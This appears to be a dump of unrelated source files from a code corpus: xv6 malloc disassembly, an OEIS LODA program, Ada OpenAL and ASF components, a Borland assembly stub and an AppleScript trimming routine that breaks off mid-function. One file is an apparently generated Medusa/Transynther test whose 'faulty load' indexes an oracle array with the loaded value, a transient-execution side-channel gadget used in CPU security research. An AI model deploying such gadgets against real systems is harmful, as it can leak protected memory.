if(bp + bp->s.size == p->s.ptr){
1300: 8b 73 fc mov -0x4(%ebx),%esi
1303: 8d 3c f1 lea (%ecx,%esi,8),%edi
1306: 39 d7 cmp %edx,%edi
1308: 74 19 je 1323 <free+0x63>
bp->s.size += p->s.ptr->s.size;
bp->s.ptr = p->s.ptr->s.ptr;
} else
bp->s.ptr = p->s.ptr;
130a: 89 53 f8 mov %edx,-0x8(%ebx)
if(p + p->s.size == bp){
130d: 8b 50 04 mov 0x4(%eax),%edx
1310: 8d 34 d0 lea (%eax,%edx,8),%esi
1313: 39 f1 cmp %esi,%ecx
1315: 74 23 je 133a <free+0x7a>
p->s.size += bp->s.size;
p->s.ptr = bp->s.ptr;
} else
p->s.ptr = bp;
1317: 89 08 mov %ecx,(%eax)
freep = p;
1319: a3 48 1c 00 00 mov %eax,0x1c48
}
131e: 5b pop %ebx
131f: 5e pop %esi
1320: 5f pop %edi
1321: 5d pop %ebp
1322: c3 ret
bp = (Header*)ap - 1;
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
break;
if(bp + bp->s.size == p->s.ptr){
bp->s.size += p->s.ptr->s.size;
1323: 03 72 04 add 0x4(%edx),%esi
1326: 89 73 fc mov %esi,-0x4(%ebx)
bp->s.ptr = p->s.ptr->s.ptr;
1329: 8b 10 mov (%eax),%edx
132b: 8b 12 mov (%edx),%edx
132d: 89 53 f8 mov %edx,-0x8(%ebx)
} else
bp->s.ptr = p->s.ptr;
if(p + p->s.size == bp){
1330: 8b 50 04 mov 0x4(%eax),%edx
1333: 8d 34 d0 lea (%eax,%edx,8),%esi
1336: 39 f1 cmp %esi,%ecx
1338: 75 dd jne 1317 <free+0x57>
p->s.size += bp->s.size;
133a: 03 53 fc add -0x4(%ebx),%edx
p->s.ptr = bp->s.ptr;
} else
p->s.ptr = bp;
freep = p;
133d: a3 48 1c 00 00 mov %eax,0x1c48
bp->s.size += p->s.ptr->s.size;
bp->s.ptr = p->s.ptr->s.ptr;
} else
bp->s.ptr = p->s.ptr;
if(p + p->s.size == bp){
p->s.size += bp->s.size;
1342: 89 50 04 mov %edx,0x4(%eax)
p->s.ptr = bp->s.ptr;
1345: 8b 53 f8 mov -0x8(%ebx),%edx
1348: 89 10 mov %edx,(%eax)
} else
p->s.ptr = bp;
freep = p;
}
134a: 5b pop %ebx
134b: 5e pop %esi
134c: 5f pop %edi
134d: 5d pop %ebp
134e: c3 ret
134f: 90 nop
00001350 <malloc>:
return freep;
}
void*
malloc(uint nbytes)
{
1350: 55 push %ebp
1351: 89 e5 mov %esp,%ebp
1353: 57 push %edi
1354: 56 push %esi
1355: 53 push %ebx
1356: 83 ec 0c sub $0xc,%esp
Header *p, *prevp;
uint nunits;
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
1359: 8b 45 08 mov 0x8(%ebp),%eax
if((prevp = freep) == 0){
135c: 8b 15 48 1c 00 00 mov 0x1c48,%edx
malloc(uint nbytes)
{
Header *p, *prevp;
uint nunits;
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
1362: 8d 78 07 lea 0x7(%eax),%edi
1365: c1 ef 03 shr $0x3,%edi
1368: 83 c7 01 add $0x1,%edi
if((prevp = freep) == 0){
136b: 85 d2 test %edx,%edx
136d: 0f 84 a3 00 00 00 je 1416 <malloc+0xc6>
1373: 8b 02 mov (%edx),%eax
1375: 8b 48 04 mov 0x4(%eax),%ecx
base.s.ptr = freep = prevp = &base;
base.s.size = 0;
}
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
if(p->s.size >= nunits){
1378: 39 cf cmp %ecx,%edi
137a: 76 74 jbe 13f0 <malloc+0xa0>
137c: 81 ff 00 10 00 00 cmp $0x1000,%edi
1382: be 00 10 00 00 mov $0x1000,%esi
1387: 8d 1c fd 00 00 00 00 lea 0x0(,%edi,8),%ebx
138e: 0f 43 f7 cmovae %edi,%esi
1391: ba 00 80 00 00 mov $0x8000,%edx
1396: 81 ff ff 0f 00 00 cmp $0xfff,%edi
139c: 0f 46 da cmovbe %edx,%ebx
139f: eb 10 jmp 13b1 <malloc+0x61>
13a1: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
if((prevp = freep) == 0){
base.s.ptr = freep = prevp = &base;
base.s.size = 0;
}
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
13a8: 8b 02 mov (%edx),%eax
if(p->s.size >= nunits){
13aa: 8b 48 04 mov 0x4(%eax),%ecx
13ad: 39 cf cmp %ecx,%edi
13af: 76 3f jbe 13f0 <malloc+0xa0>
p->s.size = nunits;
}
freep = prevp;
return (void*)(p + 1);
}
if(p == freep)
13b1: 39 05 48 1c 00 00 cmp %eax,0x1c48
13b7: 89 c2 mov %eax,%edx
13b9: 75 ed jne 13a8 <malloc+0x58>
char *p;
Header *hp;
if(nu < 4096)
nu = 4096;
p = sbrk(nu * sizeof(Header));
13bb: 83 ec 0c sub $0xc,%esp
13be: 53 push %ebx
13bf: e8 76 fc ff ff call 103a <sbrk>
if(p == (char*)-1)
13c4: 83 c4 10 add $0x10,%esp
13c7: 83 f8 ff cmp $0xffffffff,%eax
13ca: 74 1c je 13e8 <malloc+0x98>
return 0;
hp = (Header*)p;
hp->s.size = nu;
13cc: 89 70 04 mov %esi,0x4(%eax)
free((void*)(hp + 1));
13cf: 83 ec 0c sub $0xc,%esp
13d2: 83 c0 08 add $0x8,%eax
13d5: 50 push %eax
13d6: e8 e5 fe ff ff call 12c0 <free>
return freep;
13db: 8b 15 48 1c 00 00 mov 0x1c48,%edx
}
freep = prevp;
return (void*)(p + 1);
}
if(p == freep)
if((p = morecore(nunits)) == 0)
13e1: 83 c4 10 add $0x10,%esp
13e4: 85 d2 test %edx,%edx
13e6: 75 c0 jne 13a8 <malloc+0x58>
return 0;
13e8: 31 c0 xor %eax,%eax
13ea: eb 1c jmp 1408 <malloc+0xb8>
13ec: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
base.s.ptr = freep = prevp = &base;
base.s.size = 0;
}
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
if(p->s.size >= nunits){
if(p->s.size == nunits)
13f0: 39 cf cmp %ecx,%edi
13f2: 74 1c je 1410 <malloc+0xc0>
prevp->s.ptr = p->s.ptr;
else {
p->s.size -= nunits;
13f4: 29 f9 sub %edi,%ecx
13f6: 89 48 04 mov %ecx,0x4(%eax)
p += p->s.size;
13f9: 8d 04 c8 lea (%eax,%ecx,8),%eax
p->s.size = nunits;
13fc: 89 78 04 mov %edi,0x4(%eax)
}
freep = prevp;
13ff: 89 15 48 1c 00 00 mov %edx,0x1c48
return (void*)(p + 1);
1405: 83 c0 08 add $0x8,%eax
}
if(p == freep)
if((p = morecore(nunits)) == 0)
return 0;
}
}
1408: 8d 65 f4 lea -0xc(%ebp),%esp
140b: 5b pop %ebx
140c: 5e pop %esi
140d: 5f pop %edi
140e: 5d pop %ebp
140f: c3 ret
base.s.size = 0;
}
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
if(p->s.size >= nunits){
if(p->s.size == nunits)
prevp->s.ptr = p->s.ptr;
1410: 8b 08 mov (%eax),%ecx
1412: 89 0a mov %ecx,(%edx)
1414: eb e9 jmp 13ff <malloc+0xaf>
Header *p, *prevp;
uint nunits;
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
if((prevp = freep) == 0){
base.s.ptr = freep = prevp = &base;
1416: c7 05 48 1c 00 00 4c movl $0x1c4c,0x1c48
141d: 1c 00 00
1420: c7 05 4c 1c 00 00 4c movl $0x1c4c,0x1c4c
1427: 1c 00 00
base.s.size = 0;
142a: b8 4c 1c 00 00 mov $0x1c4c,%eax
142f: c7 05 50 1c 00 00 00 movl $0x0,0x1c50
1436: 00 00 00
1439: e9 3e ff ff ff jmp 137c <malloc+0x2c>
|
oeis/001/A001449.asm | neoneye/loda-programs | 11 | 169011 | ; A001449: Binomial coefficients binomial(5n,n).
; 1,5,45,455,4845,53130,593775,6724520,76904685,886163135,10272278170,119653565850,1399358844975,16421073515280,193253756909160,2280012686716080,26958221130508525,319357027877093325,3789648142708598775,45038039715653129145,535983370403809682970,6386415635496918121100,76181194590211942317450,909662608252504075120200,10872202353646160680764975,130054841538480192455912505,1556963261900116381433984400,18652941926022193416066347600,223619936628369661374603063400,2682547288861359139887179541600
mov $1,5
mul $1,$0
bin $1,$0
mov $0,$1
|
Transynther/x86/_processed/AVXALIGN/_st_/i7-8650U_0xd2_notsx.log_21829_1351.asm | ljhsiun2/medusa | 9 | 161349 | .global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r12
push %r14
push %rbp
push %rcx
push %rdi
push %rsi
lea addresses_normal_ht+0x12f22, %rsi
lea addresses_A_ht+0x17e7, %rdi
clflush (%rdi)
nop
nop
inc %r11
mov $40, %rcx
rep movsw
sub %r11, %r11
lea addresses_WC_ht+0x1dde7, %rsi
lea addresses_WC_ht+0x19cab, %rdi
nop
nop
nop
nop
and $8669, %r12
mov $104, %rcx
rep movsl
nop
sub %rcx, %rcx
lea addresses_WC_ht+0x1403, %rbp
sub %rsi, %rsi
movups (%rbp), %xmm4
vpextrq $0, %xmm4, %r11
nop
nop
nop
nop
add %rdi, %rdi
lea addresses_normal_ht+0x18d43, %rsi
lea addresses_D_ht+0xee03, %rdi
nop
add $29379, %r14
mov $87, %rcx
rep movsb
nop
nop
nop
nop
cmp $46366, %r14
lea addresses_WC_ht+0x638b, %rdi
sub $1181, %rsi
mov $0x6162636465666768, %rbp
movq %rbp, (%rdi)
nop
nop
nop
nop
xor %r14, %r14
lea addresses_WC_ht+0x1c603, %rsi
lea addresses_WC_ht+0x5663, %rdi
clflush (%rdi)
nop
nop
and %r11, %r11
mov $0, %rcx
rep movsb
nop
nop
nop
nop
add %r11, %r11
lea addresses_WC_ht+0xd203, %rcx
nop
nop
xor $8318, %rsi
movb $0x61, (%rcx)
nop
nop
nop
nop
sub $22800, %rcx
lea addresses_D_ht+0x7603, %rcx
nop
nop
and %rdi, %rdi
mov (%rcx), %r11
add %r14, %r14
lea addresses_WC_ht+0x17be3, %r14
inc %rsi
movw $0x6162, (%r14)
nop
nop
nop
nop
sub %rbp, %rbp
lea addresses_D_ht+0x15a03, %rsi
lea addresses_normal_ht+0x11603, %rdi
nop
nop
nop
nop
nop
add $33364, %r11
mov $98, %rcx
rep movsq
nop
nop
nop
xor $16705, %rbp
lea addresses_UC_ht+0xd603, %rsi
lea addresses_UC_ht+0x17403, %rdi
cmp $25111, %r11
mov $89, %rcx
rep movsw
sub %r11, %r11
pop %rsi
pop %rdi
pop %rcx
pop %rbp
pop %r14
pop %r12
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r12
push %r13
push %r14
push %r8
push %rcx
push %rdi
// Store
lea addresses_normal+0x16903, %r14
xor $36140, %r10
movb $0x51, (%r14)
nop
nop
nop
nop
nop
cmp %r14, %r14
// Store
lea addresses_WT+0x11883, %rdi
dec %rcx
movw $0x5152, (%rdi)
nop
nop
nop
nop
nop
cmp $27682, %r13
// Faulty Load
lea addresses_D+0x14e03, %rcx
nop
and $52979, %r8
mov (%rcx), %edi
lea oracles, %r8
and $0xff, %rdi
shlq $12, %rdi
mov (%r8,%rdi,1), %rdi
pop %rdi
pop %rcx
pop %r8
pop %r14
pop %r13
pop %r12
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_D', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_normal', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 8, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WT', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 7, 'same': False}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_D', 'size': 4, 'AVXalign': True, 'NT': False, 'congruent': 0, 'same': True}}
<gen_prepare_buffer>
{'OP': 'REPM', 'src': {'type': 'addresses_normal_ht', 'congruent': 0, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 2, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_WC_ht', 'congruent': 2, 'same': False}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 2, 'same': True}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WC_ht', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 8, 'same': True}}
{'OP': 'REPM', 'src': {'type': 'addresses_normal_ht', 'congruent': 4, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 9, 'same': True}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WC_ht', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 2, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_WC_ht', 'congruent': 11, 'same': False}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 5, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WC_ht', 'size': 1, 'AVXalign': True, 'NT': False, 'congruent': 10, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_D_ht', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 11, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WC_ht', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 5, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_D_ht', 'congruent': 10, 'same': False}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 11, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_UC_ht', 'congruent': 10, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 9, 'same': False}}
{'36': 21829}
36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36
*/
|
openal-error.adb | io7m/coreland-openal-ada | 1 | 17386 | <reponame>io7m/coreland-openal-ada<filename>openal-error.adb
with OpenAL.Thin;
package body OpenAL.Error is
function Get_Error return Error_t is
begin
return Map_Constant_To_Error (Thin.Get_Error);
end Get_Error;
function Map_Constant_To_Error (Error : in Types.Enumeration_t) return Error_t is
Value : Error_t;
begin
case Error is
when Thin.AL_NO_ERROR => Value := No_Error;
when Thin.AL_INVALID_NAME => Value := Invalid_Name;
when Thin.AL_INVALID_ENUM => Value := Invalid_Enumeration;
when Thin.AL_INVALID_VALUE => Value := Invalid_Value;
when Thin.AL_INVALID_OPERATION => Value := Invalid_Operation;
when Thin.AL_OUT_OF_MEMORY => Value := Out_Of_Memory;
when others => Value := Unknown_Error;
end case;
return Value;
end Map_Constant_To_Error;
end OpenAL.Error;
|
src/asf-components-html-factory.adb | Letractively/ada-asf | 0 | 21602 | -----------------------------------------------------------------------
-- html-factory -- Factory for HTML UI Components
-- Copyright (C) 2009, 2010, 2011, 2012, 2014 <NAME>
-- Written by <NAME> (<EMAIL>)
--
-- Licensed under the Apache License, Version 2.0 (the "License");
-- you may not use this file except in compliance with the License.
-- You may obtain a copy of the License at
--
-- http://www.apache.org/licenses/LICENSE-2.0
--
-- Unless required by applicable law or agreed to in writing, software
-- distributed under the License is distributed on an "AS IS" BASIS,
-- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-- See the License for the specific language governing permissions and
-- limitations under the License.
-----------------------------------------------------------------------
with ASF.Components.Base;
with ASF.Components.Html.Text;
with ASF.Components.Html.Lists;
with ASF.Components.Html.Links;
with ASF.Components.Html.Panels;
with ASF.Components.Html.Forms;
with ASF.Components.Html.Pages;
with ASF.Components.Html.Selects;
with ASF.Components.Html.Messages;
with ASF.Views.Nodes;
package body ASF.Components.Html.Factory is
use ASF.Components.Base;
function Create_Body return UIComponent_Access;
function Create_Doctype return UIComponent_Access;
function Create_Head return UIComponent_Access;
function Create_Output return UIComponent_Access;
function Create_Output_Label return UIComponent_Access;
function Create_Output_Link return UIComponent_Access;
function Create_Output_Format return UIComponent_Access;
function Create_List return UIComponent_Access;
function Create_PanelGroup return UIComponent_Access;
function Create_Form return UIComponent_Access;
function Create_Input_File return UIComponent_Access;
function Create_Input_Hidden return UIComponent_Access;
function Create_Input_Text return UIComponent_Access;
function Create_Input_Textarea return UIComponent_Access;
function Create_Command return UIComponent_Access;
function Create_Message return UIComponent_Access;
function Create_Messages return UIComponent_Access;
function Create_SelectOne return UIComponent_Access;
function Create_SelectOneRadio return UIComponent_Access;
function Create_SelectBooleanCheckbox return UIComponent_Access;
-- Create an UIInput secret component
function Create_Input_Secret return ASF.Components.Base.UIComponent_Access;
-- ------------------------------
-- Create an UIBody component
-- ------------------------------
function Create_Body return UIComponent_Access is
begin
return new ASF.Components.Html.Pages.UIBody;
end Create_Body;
-- ------------------------------
-- Create an UIDoctype component
-- ------------------------------
function Create_Doctype return UIComponent_Access is
begin
return new ASF.Components.Html.Pages.UIDoctype;
end Create_Doctype;
-- ------------------------------
-- Create an UIHead component
-- ------------------------------
function Create_Head return UIComponent_Access is
begin
return new ASF.Components.Html.Pages.UIHead;
end Create_Head;
-- ------------------------------
-- Create an UIOutput component
-- ------------------------------
function Create_Output return UIComponent_Access is
begin
return new ASF.Components.Html.Text.UIOutput;
end Create_Output;
-- ------------------------------
-- Create an UIOutputLabel component
-- ------------------------------
function Create_Output_Label return UIComponent_Access is
begin
return new ASF.Components.Html.Text.UIOutputLabel;
end Create_Output_Label;
-- ------------------------------
-- Create an UIOutputLink component
-- ------------------------------
function Create_Output_Link return UIComponent_Access is
begin
return new ASF.Components.Html.Links.UIOutputLink;
end Create_Output_Link;
-- ------------------------------
-- Create an UIOutput component
-- ------------------------------
function Create_Output_Format return UIComponent_Access is
begin
return new ASF.Components.Html.Text.UIOutputFormat;
end Create_Output_Format;
-- ------------------------------
-- Create an UIList component
-- ------------------------------
function Create_List return UIComponent_Access is
begin
return new ASF.Components.Html.Lists.UIList;
end Create_List;
-- ------------------------------
-- Create an UIPanelGroup component
-- ------------------------------
function Create_PanelGroup return UIComponent_Access is
begin
return new ASF.Components.Html.Panels.UIPanelGroup;
end Create_PanelGroup;
-- ------------------------------
-- Create an UIForm component
-- ------------------------------
function Create_Form return UIComponent_Access is
begin
return new ASF.Components.Html.Forms.UIForm;
end Create_Form;
-- ------------------------------
-- Create an UIInput_Hidden component
-- ------------------------------
function Create_Input_Hidden return UIComponent_Access is
begin
return new ASF.Components.Html.Forms.UIInput_Hidden;
end Create_Input_Hidden;
-- ------------------------------
-- Create an UIInput component
-- ------------------------------
function Create_Input_Text return UIComponent_Access is
begin
return new ASF.Components.Html.Forms.UIInput;
end Create_Input_Text;
-- ------------------------------
-- Create an UIInput secret component
-- ------------------------------
function Create_Input_Secret return ASF.Components.Base.UIComponent_Access is
Result : constant Html.Forms.UIInput_Access := new ASF.Components.Html.Forms.UIInput;
begin
Result.Set_Secret (True);
return Result.all'Access;
end Create_Input_Secret;
-- ------------------------------
-- Create an UIInputTextarea component
-- ------------------------------
function Create_Input_Textarea return UIComponent_Access is
begin
return new ASF.Components.Html.Forms.UIInputTextarea;
end Create_Input_Textarea;
-- ------------------------------
-- Create an UIInput_File component
-- ------------------------------
function Create_Input_File return UIComponent_Access is
begin
return new ASF.Components.Html.Forms.UIInput_File;
end Create_Input_File;
-- ------------------------------
-- Create an UICommand component
-- ------------------------------
function Create_Command return UIComponent_Access is
begin
return new ASF.Components.Html.Forms.UICommand;
end Create_Command;
-- ------------------------------
-- Create an UIMessage component
-- ------------------------------
function Create_Message return UIComponent_Access is
begin
return new ASF.Components.Html.Messages.UIMessage;
end Create_Message;
-- ------------------------------
-- Create an UIMessages component
-- ------------------------------
function Create_Messages return UIComponent_Access is
begin
return new ASF.Components.Html.Messages.UIMessages;
end Create_Messages;
-- ------------------------------
-- Create an UISelectOne component
-- ------------------------------
function Create_SelectOne return UIComponent_Access is
begin
return new ASF.Components.Html.Selects.UISelectOne;
end Create_SelectOne;
-- ------------------------------
-- Create an UISelectOneRadio component
-- ------------------------------
function Create_SelectOneRadio return UIComponent_Access is
begin
return new ASF.Components.Html.Selects.UISelectOneRadio;
end Create_SelectOneRadio;
-- ------------------------------
-- Create an UISelectBoolean component
-- ------------------------------
function Create_SelectBooleanCheckbox return UIComponent_Access is
begin
return new ASF.Components.Html.Selects.UISelectBoolean;
end Create_SelectBooleanCheckbox;
use ASF.Views.Nodes;
URI : aliased constant String := "http://java.sun.com/jsf/html";
BODY_TAG : aliased constant String := "body";
COMMAND_BUTTON_TAG : aliased constant String := "commandButton";
DOCTYPE_TAG : aliased constant String := "doctype";
FORM_TAG : aliased constant String := "form";
HEAD_TAG : aliased constant String := "head";
INPUT_FILE_TAG : aliased constant String := "inputFile";
INPUT_HIDDEN_TAG : aliased constant String := "inputHidden";
INPUT_SECRET_TAG : aliased constant String := "inputSecret";
INPUT_TEXT_TAG : aliased constant String := "inputText";
INPUT_TEXTAREA_TAG : aliased constant String := "inputTextarea";
LIST_TAG : aliased constant String := "list";
MESSAGE_TAG : aliased constant String := "message";
MESSAGES_TAG : aliased constant String := "messages";
OUTPUT_FORMAT_TAG : aliased constant String := "outputFormat";
OUTPUT_LABEL_TAG : aliased constant String := "outputLabel";
OUTPUT_LINK_TAG : aliased constant String := "outputLink";
OUTPUT_TEXT_TAG : aliased constant String := "outputText";
PANEL_GROUP_TAG : aliased constant String := "panelGroup";
SELECT_BOOLEAN_TAG : aliased constant String := "selectBooleanCheckbox";
SELECT_ONE_MENU_TAG : aliased constant String := "selectOneMenu";
SELECT_ONE_RADIO_TAG : aliased constant String := "selectOneRadio";
Html_Bindings : aliased constant ASF.Factory.Binding_Array
:= (1 => (Name => BODY_TAG'Access,
Component => Create_Body'Access,
Tag => Create_Component_Node'Access),
2 => (Name => COMMAND_BUTTON_TAG'Access,
Component => Create_Command'Access,
Tag => Create_Component_Node'Access),
3 => (Name => DOCTYPE_TAG'Access,
Component => Create_Doctype'Access,
Tag => Create_Component_Node'Access),
4 => (Name => FORM_TAG'Access,
Component => Create_Form'Access,
Tag => Create_Component_Node'Access),
5 => (Name => HEAD_TAG'Access,
Component => Create_Head'Access,
Tag => Create_Component_Node'Access),
6 => (Name => INPUT_FILE_TAG'Access,
Component => Create_Input_File'Access,
Tag => Create_Component_Node'Access),
7 => (Name => INPUT_HIDDEN_TAG'Access,
Component => Create_Input_Hidden'Access,
Tag => Create_Component_Node'Access),
8 => (Name => INPUT_SECRET_TAG'Access,
Component => Create_Input_Secret'Access,
Tag => Create_Component_Node'Access),
9 => (Name => INPUT_TEXT_TAG'Access,
Component => Create_Input_Text'Access,
Tag => Create_Component_Node'Access),
10 => (Name => INPUT_TEXTAREA_TAG'Access,
Component => Create_Input_Textarea'Access,
Tag => Create_Component_Node'Access),
11 => (Name => LIST_TAG'Access,
Component => Create_List'Access,
Tag => Create_Component_Node'Access),
12 => (Name => MESSAGE_TAG'Access,
Component => Create_Message'Access,
Tag => Create_Component_Node'Access),
13 => (Name => MESSAGES_TAG'Access,
Component => Create_Messages'Access,
Tag => Create_Component_Node'Access),
14 => (Name => OUTPUT_FORMAT_TAG'Access,
Component => Create_Output_Format'Access,
Tag => Create_Component_Node'Access),
15 => (Name => OUTPUT_LABEL_TAG'Access,
Component => Create_Output_Label'Access,
Tag => Create_Component_Node'Access),
16 => (Name => OUTPUT_LINK_TAG'Access,
Component => Create_Output_Link'Access,
Tag => Create_Component_Node'Access),
17 => (Name => OUTPUT_TEXT_TAG'Access,
Component => Create_Output'Access,
Tag => Create_Component_Node'Access),
18 => (Name => PANEL_GROUP_TAG'Access,
Component => Create_PanelGroup'Access,
Tag => Create_Component_Node'Access),
19 => (Name => SELECT_BOOLEAN_TAG'Access,
Component => Create_SelectBooleanCheckbox'Access,
Tag => Create_Component_Node'Access),
20 => (Name => SELECT_ONE_MENU_TAG'Access,
Component => Create_SelectOne'Access,
Tag => Create_Component_Node'Access),
21 => (Name => SELECT_ONE_RADIO_TAG'Access,
Component => Create_SelectOneRadio'Access,
Tag => Create_Component_Node'Access)
);
Html_Factory : aliased constant ASF.Factory.Factory_Bindings
:= (URI => URI'Access, Bindings => Html_Bindings'Access);
-- ------------------------------
-- Get the HTML component factory.
-- ------------------------------
function Definition return ASF.Factory.Factory_Bindings_Access is
begin
return Html_Factory'Access;
end Definition;
end ASF.Components.Html.Factory;
|
Borland/CBuilder5/Source/RTL/source/pcre/_pcomp.asm | TrevorDArcyEvans/DivingMagpieSoftware | 1 | 18967 | <filename>Borland/CBuilder5/Source/RTL/source/pcre/_pcomp.asm
;----------------------------------------------------------------------
; _pcomp.asm - jump stubs for the for the PCRE functions
;----------------------------------------------------------------------
; $Copyright: 1998$
; $Revision: 9.0 $
include rules.asi
include entry.inc
Entry@ pcre_compile,_pcre_compile , _RTLENTRY, 0
end
|
library/text parsing/trimWhitespace.applescript | NYHTC/applescript-fm-helper | 1 | 1743 | -- trimWhitespace(inputString)
-- <NAME>, NYHTC
-- Takes some string and returns the string with whitespace trimmed from beginning and end.
(*
HISTORY:
1.2 - 2017-08-31 ( dshockley ): added to repository.
1.1 - 2014-??-?? ( dshockley ): changed to correctly handle when the whole input string is whitespace.
1.0 - 2013-??-?? ( dshockley ): loop actually works, since the ASTIDs method fails with return / ascii character 13.
-- note also that the "contains" AppleScript function breaks with ASCII character 13
-- that is why a list of ASCII numbers is used, instead of a list of strings
*)
on run
trimWhitespace(" some string ")
end run
--------------------
-- START OF CODE
--------------------
on trimWhitespace(inputString)
-- version 1.2:
set whiteSpaceAsciiNumbers to {13, 10, 32, 9} -- characters that count as whitespace.
set textLength to length of inputString
if textLength is 0 then return ""
set endSpot to -textLength -- if only whitespace is found, will chop whole string
-- chop from end
set i to -1
